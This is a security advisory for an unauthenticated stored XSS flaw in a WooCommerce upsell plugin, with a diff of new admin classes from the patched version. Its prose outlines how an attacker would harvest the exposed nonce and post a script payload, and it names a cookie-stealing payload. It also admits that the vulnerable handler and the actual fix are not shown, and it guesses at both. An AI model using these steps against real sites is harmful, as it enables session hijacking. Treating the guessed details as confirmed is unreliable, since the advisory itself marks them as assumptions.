Published : November 26, 2026

CVE-2026-136995: Upsell Funnel Builder for WooCommerce <= 3.1.7 Unauthenticated Stored Cross-Site Scripting via 'form_data' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.1.7
Patched Version 3.1.8
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136995: This is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Upsell Funnel Builder for WooCommerce plugin (versions <= 3.1.7), specifically within the 'form_data' parameter handling. The vulnerability has a CVSS score of 7.2 (High) and is classified under CWE-79. Atomic Edge research indicates that the plugin fails to properly sanitize and escape user-supplied input before storing it in the database and rendering it on pages, allowing attackers to inject malicious scripts that execute in the context of any user visiting the affected page.

Root Cause: The root cause lies in the insufficient input sanitization and output escaping of the 'form_data' parameter. The vulnerable AJAX endpoint, which is likely handled in the plugin's public-facing code (not fully shown in the truncated diff), processes the 'form_data' parameter without adequate filtering. The nonce that is supposed to protect this endpoint is publicly emitted to any visitor on cart, checkout, or shortcode pages, effectively rendering the nonce useless as a security measure. This means unauthenticated attackers can obtain the nonce and submit arbitrary data to the endpoint. The plugin then stores this data (likely in the database) and later outputs it without proper escaping, leading to stored XSS.

Exploitation: An attacker can exploit this by first visiting a page that includes the vulnerable nonce (e.g., a cart or checkout page) to extract the nonce value. Then, the attacker sends a POST request to the vulnerable AJAX endpoint (typically /wp-admin/admin-ajax.php) with an action parameter that corresponds to the vulnerable handler (e.g., 'save_form_data' or similar, though the exact action name is not provided in the diff) and the 'form_data' parameter containing a malicious JavaScript payload, such as alert(document.cookie) or a more sophisticated payload that steals cookies or performs actions on behalf of the victim. The payload is stored in the database and executed whenever a user (including administrators) accesses the page where the data is rendered.

Patch Analysis: The patch (version 3.1.8) introduces new admin classes (e.g., Upsell_Order_Bump_Acr_Admin, Upsell_Order_Bump_Gamified_Admin, Upsell_Order_Bump_Heatmap_Admin) that include proper nonce verification (check_admin_referer), capability checks (current_user_can), and sanitization functions (e.g., sanitize_text_field, wp_kses_post, map_deep) for handling input. However, the specific fix for the ‘form_data’ parameter is not shown in the provided diff excerpt. Atomic Edge analysis assumes that the patch adds proper sanitization and escaping for the ‘form_data’ parameter in the vulnerable AJAX handler, likely using functions like wp_kses or esc_html before storage and output. The new code also ensures that nonces are not publicly exposed to unauthenticated users.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the injected page. This can lead to session hijacking, theft of sensitive information (such as cookies or authentication tokens), defacement of the website, redirection to malicious sites, or performing actions on behalf of the victim (e.g., creating new admin users if the victim is an administrator). Given that the vulnerability is unauthenticated and can be triggered on pages likely visited by administrators, the impact is severe.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-acr-admin.php
+++ b/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-acr-admin.php
@@ -0,0 +1,351 @@
+<?php
+/**
+ * Native cart abandonment upsell recovery - admin "Cart Recovery" tab.
+ *
+ * @link       https://wpswings.com/?utm_source=wpswings-official&utm_medium=order-bump-org-backend&utm_campaign=official
+ * @since      3.1.8
+ *
+ * @package    Upsell_Order_Bump_Offer_For_Woocommerce
+ * @subpackage Upsell_Order_Bump_Offer_For_Woocommerce/admin
+ * @author     WP Swings <webmaster@wpswings.com>
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Admin tab for native cart recovery.
+ *
+ * @since 3.1.8
+ */
+class Upsell_Order_Bump_Acr_Admin {
+
+	/**
+	 * Tab slug, page slug, nonce, capability.
+	 *
+	 * @var string
+	 */
+	const TAB          = 'cart-recovery';
+	const PAGE         = 'upsell-order-bump-offer-for-woocommerce-setting';
+	const NONCE_ACTION = 'wps_ubo_acr_admin';
+	const CAPABILITY   = 'manage_woocommerce';
+
+	/**
+	 * Sections of the tab (slug => label is built in the template).
+	 *
+	 * @var string[]
+	 */
+	const SECTIONS = array( 'dashboard', 'settings', 'offers', 'emails', 'reports' );
+
+	/**
+	 * Plugin version.
+	 *
+	 * @var string
+	 */
+	private $version;
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $version Plugin version.
+	 */
+	public function __construct( $version ) {
+		$this->version = $version;
+	}
+
+	/**
+	 * Current screen is this tab.
+	 *
+	 * @return bool
+	 */
+	private function is_tab() {
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Read-only routing.
+		$page = isset( $_GET['page'] ) ? sanitize_key( wp_unslash( $_GET['page'] ) ) : '';
+		$tab  = isset( $_GET['tab'] ) ? sanitize_key( wp_unslash( $_GET['tab'] ) ) : '';
+		// phpcs:enable
+		return self::PAGE === $page && self::TAB === $tab;
+	}
+
+	/**
+	 * Tab URL.
+	 *
+	 * @param array $args Query args.
+	 * @return string
+	 */
+	public static function url( $args = array() ) {
+		return add_query_arg(
+			array_merge(
+				array(
+					'page' => self::PAGE,
+					'tab'  => self::TAB,
+				),
+				$args
+			),
+			admin_url( 'admin.php' )
+		);
+	}
+
+	/**
+	 * Whitelist a section slug.
+	 *
+	 * @param string $section  Raw slug.
+	 * @param string $fallback Slug used when $section is unknown.
+	 * @return string
+	 */
+	public static function section( $section, $fallback = 'dashboard' ) {
+		$section = sanitize_key( (string) $section );
+		return in_array( $section, self::SECTIONS, true ) ? $section : $fallback;
+	}
+
+	/**
+	 * Filter: wps_ubo_lite_show_sidebar — no promotional sidebar on this tab.
+	 *
+	 * @param bool $show Show the sidebar.
+	 * @return bool
+	 */
+	public function hide_sidebar( $show ) {
+		return $this->is_tab() ? false : $show;
+	}
+
+	/**
+	 * Whether the CartFlows "WooCommerce Cart Abandonment Recovery" plugin is active.
+	 *
+	 * @return bool
+	 */
+	public static function external_plugin_active() {
+		return Upsell_Order_Bump_Acr_Engine::external_plugin_active();
+	}
+
+	/**
+	 * Action: wps_ubo_setting_tab — nav link.
+	 *
+	 * @return void
+	 */
+	public function render_tab_link() {
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			return;
+		}
+		?>
+		<a class="nav-tab <?php echo $this->is_tab() ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( self::url() ); ?>"><svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
+<path d="M3 4H5L7.4 15.2C7.5 15.7 7.9 16 8.4 16H18L20 8H6" stroke="#303030" stroke-linecap="round" stroke-linejoin="round"/>
+<circle cx="9" cy="20" r="1.3" stroke="#303030"/><circle cx="17" cy="20" r="1.3" stroke="#303030"/>
+<path d="M11 11.5C11 10.1 12.1 9 13.5 9C14.4 9 15.2 9.5 15.6 10.2M16 9V10.5H14.5" stroke="#303030" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
+		<?php esc_html_e( 'Cart Recovery', 'upsell-order-bump-offer-for-woocommerce' ); ?></a>
+		<?php
+	}
+
+	/**
+	 * Action: admin_init — form posts (POST → redirect → GET).
+	 *
+	 * @return void
+	 */
+	public function handle_post() {
+		if ( empty( $_POST['wps_ubo_acr_action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Verified below.
+			return;
+		}
+		check_admin_referer( self::NONCE_ACTION, 'wps_ubo_acr_nonce' );
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_die( esc_html__( 'You are not allowed to do this.', 'upsell-order-bump-offer-for-woocommerce' ), 403 );
+		}
+		$action  = sanitize_key( wp_unslash( $_POST['wps_ubo_acr_action'] ) );
+		$section = isset( $_POST['acr_section'] ) ? self::section( sanitize_key( wp_unslash( $_POST['acr_section'] ) ), 'settings' ) : 'settings';
+
+		if ( 'save' === $action ) {
+			// Plain-text fields; sanitize_settings() then validates field by field.
+			$raw = isset( $_POST['acr'] ) && is_array( $_POST['acr'] ) ? map_deep( wp_unslash( $_POST['acr'] ), 'sanitize_text_field' ) : array();
+			// Email bodies keep their HTML.
+			if ( ! empty( $raw['steps'] ) && is_array( $raw['steps'] ) ) {
+				foreach ( array_keys( $raw['steps'] ) as $i ) {
+					if ( is_array( $raw['steps'][ $i ] ) ) {
+						$raw['steps'][ $i ]['body'] = isset( $_POST['acr']['steps'][ $i ]['body'] ) ? wp_kses_post( wp_unslash( $_POST['acr']['steps'][ $i ]['body'] ) ) : '';
+					}
+				}
+			}
+			update_option( Upsell_Order_Bump_Acr_Db::SETTINGS_OPTION, Upsell_Order_Bump_Acr_Db::sanitize_settings( $raw ), false );
+			Upsell_Order_Bump_Acr_Db::reschedule();
+			wp_safe_redirect(
+				self::url(
+					array(
+						'acr_notice'  => 'saved',
+						'acr_section' => $section,
+					)
+				)
+			);
+			exit;
+		}
+
+		if ( 'test' === $action ) {
+			$index = isset( $_POST['step'] ) ? absint( $_POST['step'] ) : 0;
+			$user  = wp_get_current_user();
+			$ok    = Upsell_Order_Bump_Acr_Mailer::send_step( Upsell_Order_Bump_Acr_Mailer::sample_row(), min( 2, $index ), $user->user_email );
+			wp_safe_redirect(
+				self::url(
+					array(
+						'acr_notice'  => $ok ? 'test_sent' : 'test_failed',
+						'acr_section' => 'emails',
+					)
+				)
+			);
+			exit;
+		}
+
+		$id     = isset( $_POST['cart_id'] ) ? absint( $_POST['cart_id'] ) : 0;
+		$report = self::report_args(
+			isset( $_POST['acr_status'] ) ? sanitize_key( wp_unslash( $_POST['acr_status'] ) ) : '',
+			isset( $_POST['acr_page'] ) ? absint( $_POST['acr_page'] ) : 0
+		);
+		if ( 'delete' === $action && $id ) {
+			Upsell_Order_Bump_Acr_Db::delete( $id );
+			wp_safe_redirect( self::url( array_merge( $report, array( 'acr_notice' => 'deleted' ) ) ) );
+			exit;
+		}
+		if ( 'send_now' === $action && $id ) {
+			$result = Upsell_Order_Bump_Acr_Engine::send_next( $id );
+			wp_safe_redirect( self::url( array_merge( $report, array( 'acr_notice' => 'send_' . $result ) ) ) );
+			exit;
+		}
+	}
+
+	/**
+	 * Redirect args that bring the user back to the carts report they acted on.
+	 *
+	 * @param string $status Report status filter ( already sanitized ).
+	 * @param int    $page   Report page.
+	 * @return array
+	 */
+	private static function report_args( $status, $page ) {
+		$args = array( 'acr_section' => 'reports' );
+		if ( '' !== $status ) {
+			$args['acr_status'] = $status;
+		}
+		if ( $page > 1 ) {
+			$args['acr_page'] = $page;
+		}
+		return $args;
+	}
+
+	/**
+	 * Action: admin_post_wps_ubo_acr_preview — render an email step in the browser,
+	 * or send it as an .html download when `download` is set.
+	 *
+	 * @return void
+	 */
+	public function preview() {
+		check_admin_referer( self::NONCE_ACTION );
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_die( esc_html__( 'You are not allowed to do this.', 'upsell-order-bump-offer-for-woocommerce' ), 403 );
+		}
+		$index = isset( $_GET['step'] ) ? min( 2, absint( $_GET['step'] ) ) : 0;
+		$email = Upsell_Order_Bump_Acr_Mailer::render( Upsell_Order_Bump_Acr_Mailer::sample_row(), $index );
+		$obj   = new WC_Email();
+		if ( ! empty( $_GET['download'] ) ) {
+			nocache_headers();
+			header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
+			header( 'Content-Disposition: attachment; filename="cart-recovery-email-' . ( $index + 1 ) . '.html"' );
+		}
+		echo wp_kses( $obj->style_inline( $email['html'] ), self::email_allowed_html() );
+		exit;
+	}
+
+	/**
+	 * Tags allowed in an email preview: post content plus the email document wrapper.
+	 *
+	 * @return array
+	 */
+	private static function email_allowed_html() {
+		$allowed = wp_kses_allowed_html( 'post' );
+		foreach ( array( 'html', 'head', 'body', 'title' ) as $tag ) {
+			$allowed[ $tag ] = array(
+				'lang'  => true,
+				'dir'   => true,
+				'style' => true,
+				'class' => true,
+			);
+		}
+		$allowed['meta']  = array(
+			'charset'    => true,
+			'name'       => true,
+			'content'    => true,
+			'http-equiv' => true,
+		);
+		$allowed['style'] = array( 'type' => true );
+		return $allowed;
+	}
+
+	/**
+	 * Action: admin_enqueue_scripts.
+	 *
+	 * @return void
+	 */
+	public function enqueue_assets() {
+		if ( ! $this->is_tab() ) {
+			return;
+		}
+		$base = plugin_dir_url( __DIR__ );
+		wp_enqueue_style( 'woocommerce_admin_styles' );
+		wp_enqueue_script( 'wc-enhanced-select' );
+		wp_enqueue_style( 'wps-ubo-acr-admin', $base . 'admin/css/wps-ubo-acr-admin.css', array(), $this->version );
+		wp_enqueue_script( 'wps-ubo-acr-admin', $base . 'admin/js/wps-ubo-acr-admin.js', array( 'jquery', 'wc-enhanced-select' ), $this->version, true );
+		wp_localize_script(
+			'wps-ubo-acr-admin',
+			'wpsUboAcrAdmin',
+			array(
+				'confirmDelete' => __( 'Delete this saved cart?', 'upsell-order-bump-offer-for-woocommerce' ),
+				// Singular / plural "Sends N unit after abandonment" (%s = number); the JS picks one by the delay.
+				'stepWhen'      => array(
+					'minutes' => array(
+						/* translators: %s: number of minutes ( one ). */
+						__( 'Sends %s minute after abandonment', 'upsell-order-bump-offer-for-woocommerce' ),
+						/* translators: %s: number of minutes. */
+						__( 'Sends %s minutes after abandonment', 'upsell-order-bump-offer-for-woocommerce' ),
+					),
+					'hours'   => array(
+						/* translators: %s: number of hours ( one ). */
+						__( 'Sends %s hour after abandonment', 'upsell-order-bump-offer-for-woocommerce' ),
+						/* translators: %s: number of hours. */
+						__( 'Sends %s hours after abandonment', 'upsell-order-bump-offer-for-woocommerce' ),
+					),
+					'days'    => array(
+						/* translators: %s: number of days ( one ). */
+						__( 'Sends %s day after abandonment', 'upsell-order-bump-offer-for-woocommerce' ),
+						/* translators: %s: number of days. */
+						__( 'Sends %s days after abandonment', 'upsell-order-bump-offer-for-woocommerce' ),
+					),
+				),
+				'leaveWarning'  => __( 'You have unsaved changes. Leave anyway?', 'upsell-order-bump-offer-for-woocommerce' ),
+			)
+		);
+	}
+
+	/**
+	 * Action: wps_ubo_lite_setting_tab_html — tab content.
+	 *
+	 * @return void
+	 */
+	public function render_tab_content() {
+		if ( ! $this->is_tab() || ! current_user_can( self::CAPABILITY ) ) {
+			return;
+		}
+		Upsell_Order_Bump_Acr_Db::maybe_upgrade();
+
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Display filters only.
+		$notice = isset( $_GET['acr_notice'] ) ? sanitize_key( wp_unslash( $_GET['acr_notice'] ) ) : '';
+		$status = isset( $_GET['acr_status'] ) ? sanitize_key( wp_unslash( $_GET['acr_status'] ) ) : '';
+		$paged  = isset( $_GET['acr_page'] ) ? max( 1, absint( $_GET['acr_page'] ) ) : 1;
+		// A status filter or page number without a section means the carts report.
+		$section = self::section( isset( $_GET['acr_section'] ) ? sanitize_key( wp_unslash( $_GET['acr_section'] ) ) : '', ( $status || $paged > 1 ) ? 'reports' : 'dashboard' );
+		// phpcs:enable
+
+		$settings = Upsell_Order_Bump_Acr_Db::get_settings();
+		$stats    = Upsell_Order_Bump_Acr_Db::stats( 30 );
+		$list     = Upsell_Order_Bump_Acr_Db::list_rows( $status, $paged, 20 );
+		$external = self::external_plugin_active();
+		$paused   = $external && Upsell_Order_Bump_Acr_Engine::external_emails_active();
+		$reco_on  = class_exists( 'Upsell_Order_Bump_Reco_Db' ) && Upsell_Order_Bump_Reco_Db::is_enabled() && Upsell_Order_Bump_Reco_Db::has_model();
+		$roles    = wp_roles()->get_names();
+
+		include plugin_dir_path( __FILE__ ) . 'partials/templates/wps-ubo-acr-display.php';
+	}
+}
--- a/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-gamified-admin.php
+++ b/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-gamified-admin.php
@@ -0,0 +1,305 @@
+<?php
+/**
+ * Gamified bump offers - admin "Gamified Offers" tab.
+ *
+ * @link       https://wpswings.com/?utm_source=wpswings-official&utm_medium=order-bump-org-backend&utm_campaign=official
+ * @since      3.1.8
+ *
+ * @package    Upsell_Order_Bump_Offer_For_Woocommerce
+ * @subpackage Upsell_Order_Bump_Offer_For_Woocommerce/admin
+ * @author     WP Swings <webmaster@wpswings.com>
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Admin tab for gamified bump formats.
+ *
+ * @since 3.1.8
+ */
+class Upsell_Order_Bump_Gamified_Admin {
+
+	/**
+	 * Tab slug.
+	 *
+	 * @var string
+	 */
+	const TAB = 'gamified-offers';
+
+	/**
+	 * Settings page slug.
+	 *
+	 * @var string
+	 */
+	const PAGE = 'upsell-order-bump-offer-for-woocommerce-setting';
+
+	/**
+	 * Nonce action.
+	 *
+	 * @var string
+	 */
+	const NONCE_ACTION = 'wps_ubo_gamified_save';
+
+	/**
+	 * Capability.
+	 *
+	 * @var string
+	 */
+	const CAPABILITY = 'manage_woocommerce';
+
+	/**
+	 * Plugin version.
+	 *
+	 * @var string
+	 */
+	private $version;
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $version Plugin version.
+	 */
+	public function __construct( $version ) {
+		$this->version = $version;
+	}
+
+	/**
+	 * Whether the current admin screen is this tab.
+	 *
+	 * @return bool
+	 */
+	private function is_tab() {
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Read-only routing.
+		$page = isset( $_GET['page'] ) ? sanitize_key( wp_unslash( $_GET['page'] ) ) : '';
+		$tab  = isset( $_GET['tab'] ) ? sanitize_key( wp_unslash( $_GET['tab'] ) ) : '';
+		// phpcs:enable
+		return self::PAGE === $page && self::TAB === $tab;
+	}
+
+	/**
+	 * Tab URL.
+	 *
+	 * @param array $args Extra query args.
+	 * @return string
+	 */
+	public static function url( $args = array() ) {
+		return add_query_arg(
+			array_merge(
+				array(
+					'page' => self::PAGE,
+					'tab'  => self::TAB,
+				),
+				$args
+			),
+			admin_url( 'admin.php' )
+		);
+	}
+
+	/**
+	 * Action: wps_ubo_setting_tab — nav link.
+	 *
+	 * @return void
+	 */
+	public function render_tab_link() {
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			return;
+		}
+		?>
+		<a class="nav-tab <?php echo $this->is_tab() ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( self::url() ); ?>"><svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
+<circle cx="12" cy="12" r="8.5" stroke="#303030"/>
+<path d="M12 3.5V12L18 6M12 12L20.5 12M12 12L6 18" stroke="#303030" stroke-linecap="round" stroke-linejoin="round"/>
+<circle cx="12" cy="12" r="1.5" fill="#303030"/>
+</svg>
+<?php esc_html_e( 'Gamified Offers', 'upsell-order-bump-offer-for-woocommerce' ); ?></a>
+		<?php
+	}
+
+	/**
+	 * Action: admin_init — save settings / reset statistics (POST → redirect → GET).
+	 *
+	 * @return void
+	 */
+	public function handle_post() {
+		if ( empty( $_POST['wps_ubo_gamified_action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Verified below.
+			return;
+		}
+		check_admin_referer( self::NONCE_ACTION, 'wps_ubo_gamified_nonce' );
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_die( esc_html__( 'You are not allowed to do this.', 'upsell-order-bump-offer-for-woocommerce' ), 403 );
+		}
+
+		$action = sanitize_key( wp_unslash( $_POST['wps_ubo_gamified_action'] ) );
+
+		// Return to the in-page tab the admin was on.
+		$gm_tab = isset( $_POST['wps_ubo_gamified_tab'] ) ? self::sanitize_section( sanitize_key( wp_unslash( $_POST['wps_ubo_gamified_tab'] ) ) ) : 'configuration';
+
+		if ( 'reset_stats' === $action ) {
+			delete_option( Upsell_Order_Bump_Gamified::STATS_OPTION );
+			wp_safe_redirect(
+				self::url(
+					array(
+						'wps_notice' => 'reset',
+						'gm_tab'     => 'analytics',
+					)
+				)
+			);
+			exit;
+		}
+
+		$raw = array(
+			'enabled'                  => isset( $_POST['enabled'] ) ? 'on' : 'off',
+			'guarantee_offer_discount' => isset( $_POST['guarantee_offer_discount'] ) ? 'on' : 'off',
+			'allow_skip'               => isset( $_POST['allow_skip'] ) ? 'on' : 'off',
+			'max_discount'             => isset( $_POST['max_discount'] ) ? sanitize_text_field( wp_unslash( $_POST['max_discount'] ) ) : '',
+			'formats'                  => isset( $_POST['formats'] ) && is_array( $_POST['formats'] ) ? map_deep( wp_unslash( $_POST['formats'] ), 'sanitize_text_field' ) : array(),
+			'prizes'                   => isset( $_POST['prizes'] ) && is_array( $_POST['prizes'] ) ? map_deep( wp_unslash( $_POST['prizes'] ), 'sanitize_text_field' ) : array(),
+		);
+		foreach ( array( 'headline_wheel', 'headline_scratch', 'button_wheel', 'button_scratch', 'win_message', 'color_primary', 'color_accent', 'color_text' ) as $key ) {
+			$raw[ $key ] = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : '';
+		}
+
+		update_option( Upsell_Order_Bump_Gamified::SETTINGS_OPTION, Upsell_Order_Bump_Gamified::sanitize_settings( $raw ) );
+		$capped = Upsell_Order_Bump_Gamified::count_capped_prizes( $raw );
+		wp_safe_redirect(
+			self::url(
+				array_filter(
+					array(
+						'wps_notice' => 'saved',
+						'gm_tab'     => $gm_tab,
+						'gm_capped'  => $capped ? $capped : null,
+					)
+				)
+			)
+		);
+		exit;
+	}
+
+	/**
+	 * In-page sections of the tab.
+	 *
+	 * @return string[]
+	 */
+	public static function sections() {
+		return array( 'configuration', 'prizes', 'appearance', 'analytics' );
+	}
+
+	/**
+	 * Keep a section slug only if it exists.
+	 *
+	 * @param string $section Section slug.
+	 * @return string
+	 */
+	public static function sanitize_section( $section ) {
+		return in_array( $section, self::sections(), true ) ? $section : 'configuration';
+	}
+
+	/**
+	 * Filter: wps_ubo_lite_show_sidebar — hide the help / promotional sidebar on this tab
+	 * so the settings, preview and save bar get the full width.
+	 *
+	 * @param bool   $show Show the sidebar.
+	 * @param string $tab  Active settings tab.
+	 * @return bool
+	 */
+	public function hide_sidebar( $show, $tab = '' ) {
+		return self::TAB === $tab ? false : $show;
+	}
+
+	/**
+	 * Action: admin_enqueue_scripts.
+	 *
+	 * @return void
+	 */
+	public function enqueue_assets() {
+		if ( ! $this->is_tab() ) {
+			return;
+		}
+		$base = plugin_dir_url( __DIR__ );
+
+		// The live preview runs the real front-end widget.
+		Upsell_Order_Bump_Gamified_Public::register_assets( $this->version );
+		wp_enqueue_style( 'wps-ubo-gamified' );
+		wp_enqueue_script( 'wps-ubo-gamified' );
+
+		wp_enqueue_style( 'wps-ubo-gamified-admin', $base . 'admin/css/wps-ubo-gamified-admin.css', array( 'wps-ubo-gamified' ), $this->version );
+		wp_enqueue_script( 'wps-ubo-gamified-admin', $base . 'admin/js/wps-ubo-gamified-admin.js', array(), $this->version, true );
+		wp_localize_script(
+			'wps-ubo-gamified-admin',
+			'wpsUboGameAdmin',
+			array(
+				'min'           => Upsell_Order_Bump_Gamified::MIN_PRIZES,
+				'max'           => Upsell_Order_Bump_Gamified::MAX_PRIZES,
+				'confirmReset'  => __( 'Reset all gamified offer statistics?', 'upsell-order-bump-offer-for-woocommerce' ),
+				'minPrizes'     => __( 'Keep at least two prizes.', 'upsell-order-bump-offer-for-woocommerce' ),
+				'maxPrizes'     => __( 'The wheel supports up to 12 prizes.', 'upsell-order-bump-offer-for-woocommerce' ),
+				'noWeight'      => __( 'At least one prize needs a weight above 0.', 'upsell-order-bump-offer-for-woocommerce' ),
+				'unsaved'       => __( 'You have unsaved changes', 'upsell-order-bump-offer-for-woocommerce' ),
+			)
+		);
+	}
+
+	/**
+	 * Action: wps_ubo_lite_setting_tab_html — tab content.
+	 *
+	 * @return void
+	 */
+	public function render_tab_content() {
+		if ( ! $this->is_tab() || ! current_user_can( self::CAPABILITY ) ) {
+			return;
+		}
+
+		$settings = Upsell_Order_Bump_Gamified::get_settings();
+		$stats    = Upsell_Order_Bump_Gamified::get_stats();
+		$bumps    = Upsell_Order_Bump_Gamified::raw_bumps();
+		$lite     = ! wps_ubo_lite_if_pro_exists();
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Display only.
+		$notice     = isset( $_GET['wps_notice'] ) ? sanitize_key( wp_unslash( $_GET['wps_notice'] ) ) : '';
+		$active_tab = self::sanitize_section( isset( $_GET['gm_tab'] ) ? sanitize_key( wp_unslash( $_GET['gm_tab'] ) ) : 'configuration' );
+		$capped     = isset( $_GET['gm_capped'] ) ? absint( $_GET['gm_capped'] ) : 0;
+		// phpcs:enable
+
+		// Preview data (admin only: weights are never printed on the front end).
+		$sample = '';
+		foreach ( $bumps as $bump ) {
+			if ( ! empty( $bump['wps_upsell_bump_products_in_offer'] ) ) {
+				$product = wc_get_product( $bump['wps_upsell_bump_products_in_offer'] );
+				$sample  = $product ? $product->get_name() : '';
+				break;
+			}
+		}
+		$preview = array(
+			'segments' => array(),
+			'weights'  => array(),
+			'results'  => array(),
+			'best'     => 0,
+		);
+		foreach ( $settings['prizes'] as $row ) {
+			$discount              = min( (int) $settings['max_discount'], (int) $row['discount'] );
+			$preview['segments'][] = array(
+				'label'    => Upsell_Order_Bump_Gamified::label_for_discount( $row['label'], $discount ),
+				'color'    => $row['color'],
+				'discount' => $discount,
+			);
+			$preview['weights'][]  = (int) $row['weight'];
+			$preview['results'][]  = array(
+				'label'    => $row['label'],
+				'discount' => $discount,
+				'message'  => $discount > 0
+					? strtr(
+						$settings['win_message'],
+						array(
+							'{discount}' => $discount . '%',
+							'{label}'    => $row['label'],
+							'{product}'  => $sample ? $sample : __( 'your offer', 'upsell-order-bump-offer-for-woocommerce' ),
+						)
+					)
+					: __( 'Here is your offer!', 'upsell-order-bump-offer-for-woocommerce' ),
+			);
+			$preview['best']       = max( $preview['best'], $discount );
+		}
+
+		include plugin_dir_path( __FILE__ ) . 'partials/templates/wps-ubo-gamified-display.php';
+	}
+}
--- a/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-heatmap-admin.php
+++ b/upsell-order-bump-offer-for-woocommerce/admin/class-upsell-order-bump-heatmap-admin.php
@@ -0,0 +1,448 @@
+<?php
+/**
+ * Offer Heatmaps - admin side.
+ *
+ * Registers the "Offer Heatmaps" sub-menu, serves aggregated heatmap data and
+ * template previews over AJAX, and stores the feature settings.
+ *
+ * @link       https://wpswings.com/?utm_source=wpswings-official&utm_medium=order-bump-org-backend&utm_campaign=official
+ * @since      3.1.8
+ *
+ * @package    Upsell_Order_Bump_Offer_For_Woocommerce
+ * @subpackage Upsell_Order_Bump_Offer_For_Woocommerce/admin
+ * @author     WP Swings <webmaster@wpswings.com>
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Offer Heatmaps - admin side.
+ *
+ * @since 3.1.8
+ */
+class Upsell_Order_Bump_Heatmap_Admin {
+
+	/**
+	 * Sub-menu slug.
+	 *
+	 * @var string
+	 */
+	const PAGE_SLUG = 'upsell-order-bump-offer-for-woocommerce-heatmaps';
+
+	/**
+	 * Nonce action for admin AJAX.
+	 *
+	 * @var string
+	 */
+	const NONCE_ACTION = 'wps_ubo_heatmap_admin';
+
+	/**
+	 * Capability required.
+	 *
+	 * @var string
+	 */
+	const CAPABILITY = 'manage_woocommerce';
+
+	/**
+	 * Plugin version.
+	 *
+	 * @var string
+	 */
+	private $version;
+
+	/**
+	 * Hook suffix of the sub-menu page.
+	 *
+	 * @var string
+	 */
+	private $hook_suffix = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $version Plugin version.
+	 */
+	public function __construct( $version ) {
+		$this->version = $version;
+	}
+
+	/**
+	 * Register the sub-menu under "Upsell Funnel Builder".
+	 *
+	 * @return void
+	 */
+	public function add_menu() {
+		$this->hook_suffix = (string) add_submenu_page(
+			'upsell-order-bump-offer-for-woocommerce-setting',
+			esc_html__( 'Offer Heatmaps', 'upsell-order-bump-offer-for-woocommerce' ),
+			esc_html__( 'Offer Heatmaps', 'upsell-order-bump-offer-for-woocommerce' ),
+			self::CAPABILITY,
+			self::PAGE_SLUG,
+			array( $this, 'render_page' )
+		);
+	}
+
+	/**
+	 * Enqueue admin assets on the heatmap page only.
+	 *
+	 * @param string $hook_suffix Current admin page hook.
+	 * @return void
+	 */
+	public function enqueue_assets( $hook_suffix ) {
+		if ( empty( $this->hook_suffix ) || $hook_suffix !== $this->hook_suffix ) {
+			return;
+		}
+
+		$base = plugin_dir_url( __DIR__ );
+
+		// Bump templates need their front-end styles for an accurate preview.
+		wp_enqueue_style( 'wps-ubo-heatmap-bump-public', $base . 'public/css/upsell-order-bump-offer-for-woocommerce-public.css', array(), $this->version );
+		wp_enqueue_style( 'wps-ubo-heatmap-admin', $base . 'admin/css/wps-ubo-heatmap-admin.css', array(), $this->version );
+
+		wp_enqueue_script( 'wps-ubo-heatmap-admin', $base . 'admin/js/wps-ubo-heatmap-admin.js', array(), $this->version, true );
+
+		$zone_labels = array(
+			'game'            => __( 'Spin wheel / scratch card', 'upsell-order-bump-offer-for-woocommerce' ),
+			'accept_checkbox' => __( 'Accept checkbox', 'upsell-order-bump-offer-for-woocommerce' ),
+			'accept_button'   => __( 'Accept button', 'upsell-order-bump-offer-for-woocommerce' ),
+			'accept_text'     => __( 'Accept bar / text', 'upsell-order-bump-offer-for-woocommerce' ),
+			'decline_button'  => __( 'Decline ("No thanks")', 'upsell-order-bump-offer-for-woocommerce' ),
+			'quantity'        => __( 'Quantity', 'upsell-order-bump-offer-for-woocommerce' ),
+			'variation'       => __( 'Variation selector', 'upsell-order-bump-offer-for-woocommerce' ),
+			'image'           => __( 'Product image', 'upsell-order-bump-offer-for-woocommerce' ),
